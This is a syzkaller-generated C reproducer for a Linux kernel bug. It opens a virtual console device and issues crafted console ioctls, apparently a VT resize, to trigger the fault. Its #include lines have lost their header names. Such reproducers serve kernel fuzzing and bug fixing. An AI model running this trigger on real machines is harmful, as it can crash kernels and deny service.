// https://syzkaller.appspot.com/bug?id=4669a6e672156dc0d1db0bab09f7c65c3d464ccf // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2) { if (a0 == 0xc || a0 == 0xb) { char buf[128]; sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); return open(buf, O_RDWR, 0); } else { char buf[1024]; char* hash; strncpy(buf, (char*)a0, sizeof(buf) - 1); buf[sizeof(buf) - 1] = 0; while ((hash = strchr(buf, '#'))) { *hash = '0' + (char)(a1 % 10); a1 /= 10; } return open(buf, a2, 0); } } uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0ul); intptr_t res = 0; res = syz_open_dev(0xc, 4, 1); if (res != -1) r[0] = res; memcpy((void*)0x200001c0, "\xe9", 1); syscall(__NR_ioctl, r[0], 0x4b61, 0x200001c0ul); res = syz_open_dev(0xc, 4, 1); if (res != -1) r[1] = res; *(uint16_t*)0x20000040 = 0; *(uint16_t*)0x20000042 = 0; *(uint16_t*)0x20000044 = 0; *(uint16_t*)0x20000046 = 3; *(uint16_t*)0x20000048 = 0; *(uint16_t*)0x2000004a = 0; syscall(__NR_ioctl, r[1], 0x560a, 0x20000040ul); return 0; }